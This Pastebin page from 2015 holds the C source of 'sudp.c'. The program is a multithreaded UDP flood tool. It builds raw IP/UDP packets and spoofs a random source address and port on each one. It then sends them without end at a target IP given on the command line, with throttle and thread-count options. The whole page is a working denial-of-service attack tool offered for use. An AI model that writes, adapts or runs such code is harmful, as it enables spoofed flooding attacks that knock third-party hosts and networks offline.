vap0r

sudp.c

Feb 12th, 2015
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.98 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #define MAX_PACKET_SIZE 4096
  11. #define PHI 0x9e3779b9
  12. static uint32_t Q[4096], c = 362436;
  13. struct thread_data{
  14.         int throttle;
  15.     int thread_id;
  16.     struct sockaddr_in sin;
  17. };
  18. void init_rand(uint32_t x)
  19. {
  20.         int i;
  21.         Q[0] = x;
  22.         Q[1] = x + PHI;
  23.         Q[2] = x + PHI + PHI;
  24.  
  25.         for (i = 3; i < 4096; i++)
  26.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  27. }
  28. uint32_t rand_cmwc(void)
  29. {
  30.         uint64_t t, a = 18782LL;
  31.         static uint32_t i = 4095;
  32.         uint32_t x, r = 0xfffffffe;
  33.         i = (i + 1) & 4095;
  34.         t = a * Q[i] + c;
  35.         c = (t >> 32);
  36.         x = t + c;
  37.         if (x < c) {
  38.                 x++;
  39.                 c++;
  40.         }
  41.         return (Q[i] = r - x);
  42. }
  43. char *myStrCat (char *s, char *a) {
  44.     while (*s != '\0') s++;
  45.     while (*a != '\0') *s++ = *a++;
  46.     *s = '\0';
  47.     return s;
  48. }
  49. char *replStr (char *str, size_t count) {
  50.     if (count == 0) return NULL;
  51.     char *ret = malloc (strlen (str) * count + count);
  52.     if (ret == NULL) return NULL;
  53.     *ret = '\0';
  54.     char *tmp = myStrCat (ret, str);
  55.     while (--count > 0) {
  56.         tmp = myStrCat (tmp, str);
  57.     }
  58.     return ret;
  59. }
  60. unsigned short csum (unsigned short *buf, int nwords)
  61. {
  62.   unsigned long sum;
  63.   for (sum = 0; nwords > 0; nwords--)
  64.   sum += *buf++;
  65.   sum = (sum >> 16) + (sum & 0xffff);
  66.   sum += (sum >> 16);
  67.   return (unsigned short)(~sum);
  68. }
  69. void setup_ip_header(struct iphdr *iph)
  70. {
  71.   iph->ihl = 5;
  72.   iph->version = 4;
  73.   iph->tos = 0;
  74.   iph->tot_len = sizeof(struct iphdr) + 1028;
  75.   iph->id = htonl(54321);
  76.   iph->frag_off = 0;
  77.   iph->ttl = MAXTTL;
  78.   iph->protocol = IPPROTO_UDP;
  79.   iph->check = 0;
  80.   iph->saddr = inet_addr("192.168.3.100");
  81. }
  82. void setup_udp_header(struct udphdr *udph)
  83. {
  84.   udph->source = htons(5678);
  85.   udph->check = 0;
  86.   char *data = (char *)udph + sizeof(struct udphdr);
  87.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  88.   udph->len=htons(1028);
  89. }
  90. void *flood(void *par1)
  91. {
  92.   struct thread_data *td = (struct thread_data *)par1;
  93.   char datagram[MAX_PACKET_SIZE];
  94.   struct iphdr *iph = (struct iphdr *)datagram;
  95.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  96.   struct sockaddr_in sin = td->sin;
  97.   char new_ip[sizeof "255.255.255.255"];
  98.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  99.   if(s < 0){
  100.     fprintf(stderr, "Could not open raw socket.\n");
  101.     exit(-1);
  102.   }
  103.   memset(datagram, 0, MAX_PACKET_SIZE);
  104.   setup_ip_header(iph);
  105.   setup_udp_header(udph);
  106.   udph->dest = htons (rand() % 20480);
  107.   iph->daddr = sin.sin_addr.s_addr;
  108.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  109.   int tmp = 1;
  110.   const int *val = &tmp;
  111.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  112.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  113.     exit(-1);
  114.   }
  115.   int throttle = td->throttle;
  116.   uint32_t random_num;
  117.   uint32_t ul_dst;
  118.   init_rand(time(NULL));
  119.   if(throttle == 0){
  120.     while(1){
  121.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  122.       random_num = rand_cmwc();
  123.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  124.                (random_num >> 16 & 0xFF) << 16 |
  125.                (random_num >> 8 & 0xFF) << 8 |
  126.                (random_num & 0xFF);
  127.  
  128.       iph->saddr = ul_dst;
  129.       udph->source = htons(random_num & 0xFFFF);
  130.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  131.     }
  132.   } else {
  133.     while(1){
  134.       throttle = td->throttle;
  135.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  136.       random_num = rand_cmwc();
  137.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  138.                (random_num >> 16 & 0xFF) << 16 |
  139.                (random_num >> 8 & 0xFF) << 8 |
  140.                (random_num & 0xFF);
  141.  
  142.       iph->saddr = ul_dst;
  143.       udph->source = htons(random_num & 0xFFFF);
  144.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  145.      while(--throttle);
  146.     }
  147.   }
  148. }
  149. int main(int argc, char *argv[ ])
  150. {
  151.   if(argc < 4){
  152.     fprintf(stderr, "Invalid parameters!\n");
  153.     fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
  154.     exit(-1);
  155.   }
  156.   fprintf(stdout, "Setting up Sockets...\n");
  157.   int num_threads = atoi(argv[3]);
  158.   pthread_t thread[num_threads];
  159.   struct sockaddr_in sin;
  160.   sin.sin_family = AF_INET;
  161.   sin.sin_port = htons (rand() % 20480);
  162.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  163.   struct thread_data td[num_threads];
  164.   int i;
  165.   for(i = 0;i<num_threads;i++){
  166.     td[i].thread_id = i;
  167.     td[i].sin = sin;
  168.     td[i].throttle = atoi(argv[2]);
  169.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  170.   }
  171.   fprintf(stdout, "Starting Flood...\n");
  172.   if(argc > 5)
  173.   {
  174.     sleep(atoi(argv[4]));
  175.   } else {
  176.     while(1){
  177.       sleep(1);
  178.     }
  179.   }
  180.   return 0;
  181. }
Advertisement
Add Comment
Please, Sign In to add comment